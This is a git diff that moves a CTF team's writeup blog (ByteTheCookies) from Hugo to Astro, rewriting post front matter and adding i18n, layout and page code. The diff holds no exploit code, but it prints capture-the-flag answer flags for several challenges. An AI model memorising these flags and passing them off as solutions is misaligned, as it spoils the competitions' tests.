diff --git a/content/writeups/srdnlen2025/confusion.md b/src/content/posts/srdnlen2025-confusion.md similarity index 91% rename from content/writeups/srdnlen2025/confusion.md rename to src/content/posts/srdnlen2025-confusion.md index 33a4f8a5..71f86ac6 100644 --- a/content/writeups/srdnlen2025/confusion.md +++ b/src/content/posts/srdnlen2025-confusion.md @@ -1,15 +1,17 @@ -+++ -title = 'Confusion' -date = 2025-03-12T22:04:00+01:00 -tags = [ - "crypto", - "Zaua" -] -draft = true -+++ - -# Confusion -Looks like our cryptographers had one too many glasses of mirto! Can you sober up their sloppy AES scheme, or will the confusion keep you spinning? +--- +title: Srdnlen2025 | Confusion +published: 2025-03-12 +description: Looks like our cryptographers had one too many glasses of mirto! Can you sober up their sloppy AES scheme, or will the confusion keep you spinning? +image: '' +tags: ["crypto"] +authors: ["akiidjk"] +solves: -1 +points: -1 +firstblood: false +category: Srdnlen2025 +draft: false + +--- ## Introduction @@ -139,7 +141,4 @@ def main(): r.close() ``` -``` -flag: srdnlen{I_h0p3_th15_Gl4ss_0f_M1rt0_w4rm3d_y0u_3n0ugh} -``` -

Author: vympel

+flag: :spoiler[srdnlen{I_h0p3_th15_Gl4ss_0f_M1rt0_w4rm3d_y0u_3n0ugh}] diff --git a/content/writeups/srdnlen2025/speed.md b/src/content/posts/srdnlen2025-speed.md similarity index 93% rename from content/writeups/srdnlen2025/speed.md rename to src/content/posts/srdnlen2025-speed.md index a47e4508..947ee734 100644 --- a/content/writeups/srdnlen2025/speed.md +++ b/src/content/posts/srdnlen2025-speed.md @@ -1,21 +1,17 @@ -+++ -title = 'Speed' -tags = [ - "Web", - "javascript", - "NoSQLI", - "Race Condition", - "Octaviusss", -] -date = 2025-03-11T17:20:39+01:00 -draft = true -+++ - - - -

Speed

- -**Description**: Welcome to Radiator Springs' finest store, where every car enthusiast's dream comes true! But remember, in the world of racing, precision matters—so tread carefully as you navigate this high-octane experience. Ka-chow! +--- +title: Srdnlen2025 | Speed +published: 2025-03-11 +description: Welcome to Radiator Springs' finest store, where every car enthusiast's dream comes true! But remember, in the world of racing, precision matters—so tread carefully as you navigate this high-octane experience. Ka-chow! +image: '' +tags: ["web"] +authors: ["akiidjk"] +solves: -1 +points: -1 +firstblood: false +category: Srdnlen2025 +draft: false + +--- ## Introduction @@ -222,5 +218,3 @@ wait ``` Once you have made a few attempts and the logs show that you have 60 credits, you can copy the jwt and use it to log in. - -

Author: akiidjk

diff --git a/content/writeups/trx2025/onlinepythoneditor.md b/src/content/posts/trx2025-onlinepythoneditor.md similarity index 80% rename from content/writeups/trx2025/onlinepythoneditor.md rename to src/content/posts/trx2025-onlinepythoneditor.md index 22677d57..4db14ba0 100644 --- a/content/writeups/trx2025/onlinepythoneditor.md +++ b/src/content/posts/trx2025-onlinepythoneditor.md @@ -1,18 +1,19 @@ -+++ -title = 'Online Python Editor' -tags = [ - "Web", - "Python", - "Bad practice", - "Salvatore Abello", -] -date = 2025-03-11T18:12:32+01:00 -draft = true -+++ - -

Online Python Editor

- -**Description**: If you're tired of fast and good-looking editors, try this. Now with extra crispiness! +--- +title: Trx2025 | Online Python Editor +published: 2025-03-11 +description: If you're tired of fast and good-looking editors, try this. Now with extra crispiness! +image: '' +tags: ["web"] +authors: ["akiidjk"] +solves: -1 +points: -1 +firstblood: false +category: Trx2025 +draft: false + +--- + + ## Introduction @@ -87,7 +88,4 @@ if __name__ == "__main__": ``` -```stdout -$ flag: TRX{4ll_y0u_h4v3_t0_d0_1s_l00k_4t_th3_s0urc3_c0d3} -``` -

Author: akiidjk

+flag: :spoiler[TRX{4ll_y0u_h4v3_t0_d0_1s_l00k_4t_th3_s0urc3_c0d3}] diff --git a/src/content/posts/ulisse2025-stackbank1.md b/src/content/posts/ulisse2025-stackbank1.md new file mode 100644 index 00000000..e54cb8b5 --- /dev/null +++ b/src/content/posts/ulisse2025-stackbank1.md @@ -0,0 +1,44 @@ +--- +title: Ulisse2025 | StackBank 1 +published: 2025-04-08 +description: This bank🏦 will let you ~~legally~~ launder your dirty money, so you can live the high life in Dubai 🤑. Give it a try — for now, it only lets you send and receive money for your oh-so-reputable Ponzi scheme💸. +image: '' +tags: ["web"] +authors: ["akiidjk"] +solves: 10 +points: 388 +firstblood: false +category: Ulisse2025 +draft: true + +--- + + + +## Introduction + +... + +## Source + +... + +```python +# filename: file.py + + + +``` + +... + +## Solution + +... + +```python +# filename: file.py + + + +``` diff --git a/content/writeups/ulisse2025/telemetry.md b/src/content/posts/ulisse2025-telemetry.md similarity index 92% rename from content/writeups/ulisse2025/telemetry.md rename to src/content/posts/ulisse2025-telemetry.md index c116148c..d341fba4 100644 --- a/content/writeups/ulisse2025/telemetry.md +++ b/src/content/posts/ulisse2025-telemetry.md @@ -1,22 +1,21 @@ -+++ -title = 'Telemetry' -tags = [ - "web", - "python", - "Blind SSTI", - "280 points", - "14 solves", - "AlBovo", -] -date = 2025-04-08T18:05:04+02:00 -draft = true -+++ +--- +title: Ulisse2025 | Telemetry +published: 2025-04-08 +description: Elia has just developed a brand-new website to analyze logs at runtime 🧻. Confident in his security skills, he bet his entire house that you won't find the hidden flag... Will you prove him wrong? 🏠🔍 +image: '' +tags: ["web"] +authors: ["akiidjk"] +solves: 14 +points: 280 +firstblood: false +category: Ulisse2025 +draft: false + +--- -

Telemetry

-**Description**: Elia has just developed a brand-new website to analyze logs at runtime 🧻. Confident in his security skills, he bet his entire house that you won't find the hidden flag... Will you prove him wrong? 🏠🔍 ## Introduction @@ -208,7 +207,4 @@ if __name__ == "__main__": # goodluck by @akiidjk ``` -```stdout -$ flag: UlisseCTF{n3x7_T1m3_st1ck_t0_your_l0g5!} -``` -

Author: akiidjk

+flag: :spoiler[UlisseCTF{n3x7_T1m3_st1ck_t0_your_l0g5!}] diff --git a/content/writeups/wwfctf2025/blank-login.md b/src/content/posts/wwfctf2025-blank-login.md similarity index 96% rename from content/writeups/wwfctf2025/blank-login.md rename to src/content/posts/wwfctf2025-blank-login.md index 33d8ca7c..16cbc235 100644 --- a/content/writeups/wwfctf2025/blank-login.md +++ b/src/content/posts/wwfctf2025-blank-login.md @@ -1,23 +1,20 @@ -+++ -title = 'Blank Login' -tags = [ - "web", - "python", - "Race Condition", - "NoSQLI", - "SqlAlchemy injection", - "499 points", - "17 solves", - "spipm", -] -date = ' 2025-07-29T17:51:20+02:00' -draft = true -+++ - - -

Blank Login

- -**Description**: Hm, I don't remember, probably something about three databases. +--- +title: WWFctf2025 | Blank Login +published: 2025-07-29 +description: Hm, I don't remember, probably something about three databases. +image: '' +tags: ["web"] +authors: ["akiidjk"] +solves: 17 +points: 499 +firstblood: false +category: WWWFctf2025 +draft: false + +--- + + + ## Introduction This is the third web application I've exploited. It's a very cool challenge, not too complex, and very fun. There's a not-very-easy race condition to spot. In fact, I think that's the most difficult part. So, let's start. @@ -433,7 +430,4 @@ if __name__ == "__main__": # goodluck by @akiidjk ``` -```stdout -$ flag: wwf{Ju57_G1v3_mE_S0m3_5p4ce} -``` -

Author: akiidjk

+flag: :spoiler[wwf{Ju57_G1v3_mE_S0m3_5p4ce}] diff --git a/content/writeups/wwfctf2025/solidity-jail1.md b/src/content/posts/wwfctf2025-solidity-jail1.md similarity index 93% rename from content/writeups/wwfctf2025/solidity-jail1.md rename to src/content/posts/wwfctf2025-solidity-jail1.md index ff89eb74..d93d3c40 100644 --- a/content/writeups/wwfctf2025/solidity-jail1.md +++ b/src/content/posts/wwfctf2025-solidity-jail1.md @@ -1,24 +1,20 @@ -+++ -title = 'Solidity Jail 1' -date = 2025-08-25T19:13:04+02:00 -tags = [ - "Blockchain", - "Solidity", - "460 points", - "10 solves", - "zeptoide", -] - -draft = true -+++ +--- +title: WWWFctf2025 | Solidity Jail 1 +published: 2025-08-25 +description: Bash Jail? Boring. PyJail? Too Common. Introducing for the first time, Solidity Jail! Make a contract to read the flag! +image: '' +tags: ["blockchain"] +authors: ["akiidjk"] +solves: 10 +points: 460 +firstblood: false +category: WWWFctf2025 +draft: false +--- -

Solidity Jail 1

-**Description**: Bash Jail? Boring. PyJail? Too Common. -Introducing for the first time, Solidity Jail! -Make a contract to read the flag! ## Introduction @@ -226,7 +222,4 @@ require(ok, "failed"); return string(res); ``` -```stdout -$ flag: wwf{y0u_4r3_7h3_7ru3_m4573r_0f_s0l1d17y} -``` -

Author: galexela

+flag: :spoiler[wwf{y0u_4r3_7h3_7ru3_m4573r_0f_s0l1d17y}] diff --git a/src/content/spec/about.md b/src/content/spec/about.md new file mode 100644 index 00000000..fa6d9b68 --- /dev/null +++ b/src/content/spec/about.md @@ -0,0 +1,3 @@ +# About + +Hello, we are ByteTheCookies (BTC), a passionate CTF team formed by students from the [University of Salerno](https://www.unisa.it/) after participating in the CyberChallenge 2024. Our mission is to push the boundaries of our skills and knowledge in the ever-evolving field of IT security. We thrive on solving complex challenges, learning from each other, and staying ahead of the curve in cybersecurity. Whether it’s cryptography, reverse engineering, web exploitation, or any other domain, we are committed to continuous growth and excellence. diff --git a/src/env.d.ts b/src/env.d.ts new file mode 100644 index 00000000..9c03f0a2 --- /dev/null +++ b/src/env.d.ts @@ -0,0 +1,2 @@ +/// +/// diff --git a/src/global.d.ts b/src/global.d.ts new file mode 100644 index 00000000..8d4042be --- /dev/null +++ b/src/global.d.ts @@ -0,0 +1,41 @@ +import type { AstroIntegration } from "@swup/astro"; + +declare global { + interface Window { + // type from '@swup/astro' is incorrect + swup: AstroIntegration; + pagefind: { + search: (query: string) => Promise<{ + results: Array<{ + data: () => Promise; + }>; + }>; + }; + } +} + +interface SearchResult { + url: string; + meta: { + title: string; + }; + excerpt: string; + content?: string; + word_count?: number; + filters?: Record; + anchors?: Array<{ + element: string; + id: string; + text: string; + location: number; + }>; + weighted_locations?: Array<{ + weight: number; + balanced_score: number; + location: number; + }>; + locations?: number[]; + raw_content?: string; + raw_url?: string; + sub_results?: SearchResult[]; +} diff --git a/src/i18n/i18nKey.ts b/src/i18n/i18nKey.ts new file mode 100644 index 00000000..7db74101 --- /dev/null +++ b/src/i18n/i18nKey.ts @@ -0,0 +1,42 @@ +enum I18nKey { + home = "home", + about = "about", + archive = "archive", + team = "team", + search = "search", + + tags = "tags", + categories = "categories", + recentPosts = "recentPosts", + solves = "solves", + points = "points", + firstblood = "firstblood", + + comments = "comments", + + untitled = "untitled", + uncategorized = "uncategorized", + noTags = "noTags", + noAuthors = "noAuthors", + + wordCount = "wordCount", + wordsCount = "wordsCount", + minuteCount = "minuteCount", + minutesCount = "minutesCount", + postCount = "postCount", + postsCount = "postsCount", + + themeColor = "themeColor", + + lightMode = "lightMode", + darkMode = "darkMode", + systemMode = "systemMode", + + more = "more", + + author = "author", + publishedAt = "publishedAt", + license = "license", +} + +export default I18nKey; diff --git a/src/i18n/languages/en.ts b/src/i18n/languages/en.ts new file mode 100644 index 00000000..b78e4d3a --- /dev/null +++ b/src/i18n/languages/en.ts @@ -0,0 +1,44 @@ +import Key from "../i18nKey"; +import type { Translation } from "../translation"; + +export const en: Translation = { + [Key.home]: "Home", + [Key.about]: "About", + [Key.archive]: "Archive", + [Key.team]: "Team", + [Key.search]: "Search", + + [Key.tags]: "Tags", + [Key.categories]: "Categories", + [Key.recentPosts]: "Recent Posts", + + [Key.solves]: "Solves", + [Key.points]: "Points", + [Key.firstblood]: "First Blood", + + [Key.comments]: "Comments", + + [Key.untitled]: "Untitled", + [Key.uncategorized]: "Uncategorized", + [Key.noTags]: "No Tags", + [Key.noAuthors]: "Anonymous", + + [Key.wordCount]: "word", + [Key.wordsCount]: "words", + [Key.minuteCount]: "minute", + [Key.minutesCount]: "minutes", + [Key.postCount]: "post", + [Key.postsCount]: "posts", + + [Key.themeColor]: "Theme Color", + + [Key.lightMode]: "Light", + [Key.darkMode]: "Dark", + [Key.systemMode]: "System", + + [Key.more]: "More", + + [Key.author]: "Author", + [Key.publishedAt]: "Published at", + [Key.license]: "License", +}; diff --git a/src/i18n/translation.ts b/src/i18n/translation.ts new file mode 100644 index 00000000..ccf5cbdf --- /dev/null +++ b/src/i18n/translation.ts @@ -0,0 +1,25 @@ +import { siteConfig } from "../config"; +import type I18nKey from "./i18nKey"; +import { en } from "./languages/en"; + +export type Translation = { + [K in I18nKey]: string; +}; + +const defaultTranslation = en; + +const map: { [key: string]: Translation } = { + en: en, + en_us: en, + en_gb: en, + en_au: en, +}; + +export function getTranslation(lang: string): Translation { + return map[lang.toLowerCase()] || defaultTranslation; +} + +export function i18n(key: I18nKey): string { + const lang = siteConfig.lang || "en"; + return getTranslation(lang)[key]; +} diff --git a/src/layouts/Layout.astro b/src/layouts/Layout.astro new file mode 100644 index 00000000..c1805220 --- /dev/null +++ b/src/layouts/Layout.astro @@ -0,0 +1,567 @@ +--- +import "@fontsource/roboto/400.css"; +import "@fontsource/roboto/500.css"; +import "@fontsource/roboto/700.css"; + +import ConfigCarrier from "@components/ConfigCarrier.astro"; +import { profileConfig, siteConfig } from "@/config"; +import { + AUTO_MODE, + BANNER_HEIGHT, + BANNER_HEIGHT_EXTEND, + BANNER_HEIGHT_HOME, + DARK_MODE, + DEFAULT_THEME, + LIGHT_MODE, + PAGE_WIDTH, +} from "../constants/constants"; +import { defaultFavicons } from "../constants/icon"; +import type { Favicon } from "../types/config"; +import { pathsEqual, url } from "../utils/url-utils"; +import "katex/dist/katex.css"; + +interface Props { + title?: string; + banner?: string; + description?: string; + lang?: string; + setOGTypeArticle?: boolean; +} + +let { title, banner, description, lang, setOGTypeArticle } = Astro.props; + +// apply a class to the body element to decide the height of the banner, only used for initial page load +// Swup can update the body for each page visit, but it's after the page transition, causing a delay for banner height change +// so use Swup hooks instead to change the height immediately when a link is clicked +const isHomePage = pathsEqual(Astro.url.pathname, url("/")); + +// defines global css variables +// why doing this in Layout instead of GlobalStyles: https://github.com/withastro/astro/issues/6728#issuecomment-1502203757 +const configHue = siteConfig.themeColor.hue; +if (!banner || typeof banner !== "string" || banner.trim() === "") { + banner = siteConfig.banner.src; +} + +// TODO don't use post cover as banner for now +banner = siteConfig.banner.src; + +const enableBanner = siteConfig.banner.enable; + +let pageTitle: string; +if (title) { + pageTitle = `${title} - ${siteConfig.title}`; +} else { + pageTitle = `${siteConfig.title} - ${siteConfig.subtitle}`; +} + +const favicons: Favicon[] = + siteConfig.favicon.length > 0 ? siteConfig.favicon : defaultFavicons; + +// const siteLang = siteConfig.lang.replace('_', '-') +if (!lang) { + lang = `${siteConfig.lang}`; +} +const siteLang = lang.replace("_", "-"); + +const bannerOffsetByPosition = { + top: `${BANNER_HEIGHT_EXTEND}vh`, + center: `${BANNER_HEIGHT_EXTEND / 2}vh`, + bottom: "0", +}; +const bannerOffset = + bannerOffsetByPosition[siteConfig.banner.position || "center"]; +--- + + + + + + {pageTitle} + + + + + + + + + + {setOGTypeArticle ? ( + + ) : ( + + )} + + + + + + + + + {favicons.map(favicon => ( + + ))} + + + + + + + + + + + + + + + + +

+ + + + + + + + diff --git a/src/layouts/MainGridLayout.astro b/src/layouts/MainGridLayout.astro new file mode 100644 index 00000000..e1f8e5cb --- /dev/null +++ b/src/layouts/MainGridLayout.astro @@ -0,0 +1,125 @@ +--- +import BackToTop from "@components/control/BackToTop.astro"; +import Footer from "@components/Footer.astro"; +import Navbar from "@components/Navbar.astro"; +import SideBar from "@components/widget/SideBar.astro"; +import type { MarkdownHeading } from "astro"; +import { Icon } from "astro-icon/components"; +import ImageWrapper from "../components/misc/ImageWrapper.astro"; +import TOC from "../components/widget/TOC.astro"; +import { siteConfig } from "../config"; +import { + BANNER_HEIGHT, + BANNER_HEIGHT_EXTEND, + MAIN_PANEL_OVERLAPS_BANNER_HEIGHT, +} from "../constants/constants"; +import Layout from "./Layout.astro"; + +interface Props { + title?: string; + banner?: string; + description?: string; + lang?: string; + setOGTypeArticle?: boolean; + headings?: MarkdownHeading[]; +} + +const { + title, + banner, + description, + lang, + setOGTypeArticle, + headings = [], +} = Astro.props; +const hasBannerCredit = + siteConfig.banner.enable && siteConfig.banner.credit.enable; +const hasBannerLink = !!siteConfig.banner.credit.url; + +const mainPanelTop = siteConfig.banner.enable + ? `calc(${BANNER_HEIGHT}vh - ${MAIN_PANEL_OVERLAPS_BANNER_HEIGHT}rem)` + : "5.5rem"; +--- + + + + + +
+ +
+ + +{siteConfig.banner.enable && } + + +
+ +
+
+ + {hasBannerCredit && } + + + + +
+
+ + + + +
+
+ + +
+ + +
+
+ + + +
diff --git a/src/lib/utils.ts b/src/lib/utils.ts new file mode 100644 index 00000000..ac680b30 --- /dev/null +++ b/src/lib/utils.ts @@ -0,0 +1,6 @@ +import { type ClassValue, clsx } from "clsx"; +import { twMerge } from "tailwind-merge"; + +export function cn(...inputs: ClassValue[]) { + return twMerge(clsx(inputs)); +} diff --git a/src/pages/[...page].astro b/src/pages/[...page].astro new file mode 100644 index 00000000..f5a5de42 --- /dev/null +++ b/src/pages/[...page].astro @@ -0,0 +1,23 @@ +--- +import type { GetStaticPaths } from "astro"; +import Pagination from "../components/control/Pagination.astro"; +import PostPage from "../components/PostPage.astro"; +import { PAGE_SIZE } from "../constants/constants"; +import MainGridLayout from "../layouts/MainGridLayout.astro"; +import { getSortedPosts } from "../utils/content-utils"; + +export const getStaticPaths = (async ({ paginate }) => { + const allBlogPosts = await getSortedPosts(); + return paginate(allBlogPosts, { pageSize: PAGE_SIZE }); +}) satisfies GetStaticPaths; +// https://github.com/withastro/astro/issues/6507#issuecomment-1489916992 + +const { page } = Astro.props; + +const len = page.data.length; +--- + + + + + \ No newline at end of file diff --git a/src/pages/about.astro b/src/pages/about.astro new file mode 100644 index 00000000..95568720 --- /dev/null +++ b/src/pages/about.astro @@ -0,0 +1,25 @@ +--- + +import { getEntry, render } from "astro:content"; +import Markdown from "@components/misc/Markdown.astro"; +import I18nKey from "../i18n/i18nKey"; +import { i18n } from "../i18n/translation"; +import MainGridLayout from "../layouts/MainGridLayout.astro"; + +const aboutPost = await getEntry("spec", "about"); + +if (!aboutPost) { + throw new Error("About page content not found"); +} + +const { Content } = await render(aboutPost); +--- + +
+
+ + + +
+
+
\ No newline at end of file diff --git a/src/pages/archive.astro b/src/pages/archive.astro new file mode 100644 index 00000000..90ede242 --- /dev/null +++ b/src/pages/archive.astro @@ -0,0 +1,14 @@ +--- +import ArchivePanel from "@components/ArchivePanel.svelte"; +import I18nKey from "@i18n/i18nKey"; +import { i18n } from "@i18n/translation"; +import MainGridLayout from "@layouts/MainGridLayout.astro"; +import { getSortedPostsList } from "../utils/content-utils"; + +const sortedPostsList = await getSortedPostsList(); +--- + + + + + diff --git a/src/pages/posts/[...slug].astro b/src/pages/posts/[...slug].astro new file mode 100644 index 00000000..e9aa8c94 --- /dev/null +++ b/src/pages/posts/[...slug].astro @@ -0,0 +1,239 @@ +--- +import path from "node:path"; +import License from "@components/misc/License.astro"; +import Markdown from "@components/misc/Markdown.astro"; +import I18nKey from "@i18n/i18nKey"; +import { i18n } from "@i18n/translation"; +import MainGridLayout from "@layouts/MainGridLayout.astro"; +import { getSortedPosts } from "@utils/content-utils"; +import { getDir, getPostUrlBySlug } from "@utils/url-utils"; +import { Icon } from "astro-icon/components"; +import { licenseConfig } from "src/config"; +import ImageWrapper from "../../components/misc/ImageWrapper.astro"; +import PostMetadata from "../../components/PostMeta.astro"; +import { profileConfig, siteConfig } from "../../config"; +import { formatDateToYYYYMMDD } from "../../utils/date-utils"; + +export async function getStaticPaths() { + const blogEntries = await getSortedPosts(); + return blogEntries.map((entry) => ({ + params: { slug: entry.slug }, + props: { entry }, + })); +} + +const { entry } = Astro.props; +const { Content, headings } = await entry.render(); + +const { remarkPluginFrontmatter } = await entry.render(); + +const jsonLd = { + "@context": "https://schema.org", + "@type": "BlogPosting", + headline: entry.data.title, + description: entry.data.description || entry.data.title, + keywords: entry.data.tags, + author: { + "@type": "Person", + name: profileConfig.name, + url: Astro.site, + }, + authors: entry.data.authors, + datePublished: formatDateToYYYYMMDD(entry.data.published), + inLanguage: entry.data.lang + ? entry.data.lang.replace("_", "-") + : siteConfig.lang.replace("_", "-"), + // TODO include cover image here +}; +--- + + +